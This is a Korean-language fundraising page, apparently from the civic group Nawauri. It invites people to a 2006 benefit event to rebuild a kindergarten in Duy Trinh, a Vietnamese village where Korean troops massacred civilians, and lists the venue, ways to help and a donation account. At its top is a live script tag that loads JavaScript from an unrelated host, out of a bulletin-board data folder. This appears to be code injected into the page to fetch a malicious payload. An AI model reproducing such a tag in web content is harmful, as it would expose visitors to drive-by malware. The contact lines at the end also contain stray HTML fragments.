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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> - 베트남 중부 한국군에 의한 민간인 학살이 있었던 Duy Trinh(유이찐) 마을에내일의 평화를 만들 어린이들을 위한 유치원을 짓습니다.
일 시 : 2006.06.03(토) 정오 ~ 늦은 11시장 소 : 오키도키 (시청역 10번 출구 도보 3분거리) 함께하는 방법 : 1) 티켓을 사 주세요. 2) 물품을 기증해 주세요. 3) 주변에 알려 주세요. 함께하는 계좌: 국민은행(예금주:나와우리(베트남사업)) 031601-04-086030
베트남전쟁 이후 한국 사람이 처음 간다는 유이찐 마을에는 한국군에 의한 민간인 학살이 있었던 베트남 중부마을이면 의례 볼 수 있던 마을위령비 하나 제대로 없었습니다. 마을 분들은 학살이 일어났던 집 앞에서, 길가에서 향을 피우며 68년 억울하게 죽은 넋들을 위로하고 있었습니다.
지난 30여년, 전쟁으로 폐허가 된 곳을 농토로 일구고 전통 수공업을 하며 전장을 평화로운 삶터로 만들기에 주민들은 힘을 모았습니다. 평화로운 미래의 주인이 될 소중한 아이들을 위한 작은 유치원도 지난 80년 주민들이 함께 지었습니다.
그러나 나와우리가 그곳을 찾았을 때 두 살에서 다섯 살 어린 아이들이 종일을 보낸다는 유치원 문은 닫혀 있었습니다. 더 이상 그곳에는 어린 아이들이 있지 않았습니다. 유치원이 너무 낡아 언제 무너질지 모르기 때문입니다.
그래서 2006년 마을 주민들과 나와우리가 함께합니다.
사과의 마음으로 땅을 고르고, 화해의 벽돌을 쌓고, 평화의 지붕을 덮어, 아이들의 웃음빛이 담긴 꿈터를 지으려고 합니다. 내일의 평화를 만들어갈 아이들의 꿈터, 마음을 모아 함께 만들고자 합니다. 여러분과 함께 하고자 합니다.
함께 가꾸고 나누는 열린 네트워크 (110-809) 서울 종로 동숭 2-9, A-101☎ (02)747-3194, FAX747-3195HP. nawauri3194@gmail.com" TARGET='_new'>www.nawauri.or.krE-mail:nawauri3194@gmail.com>
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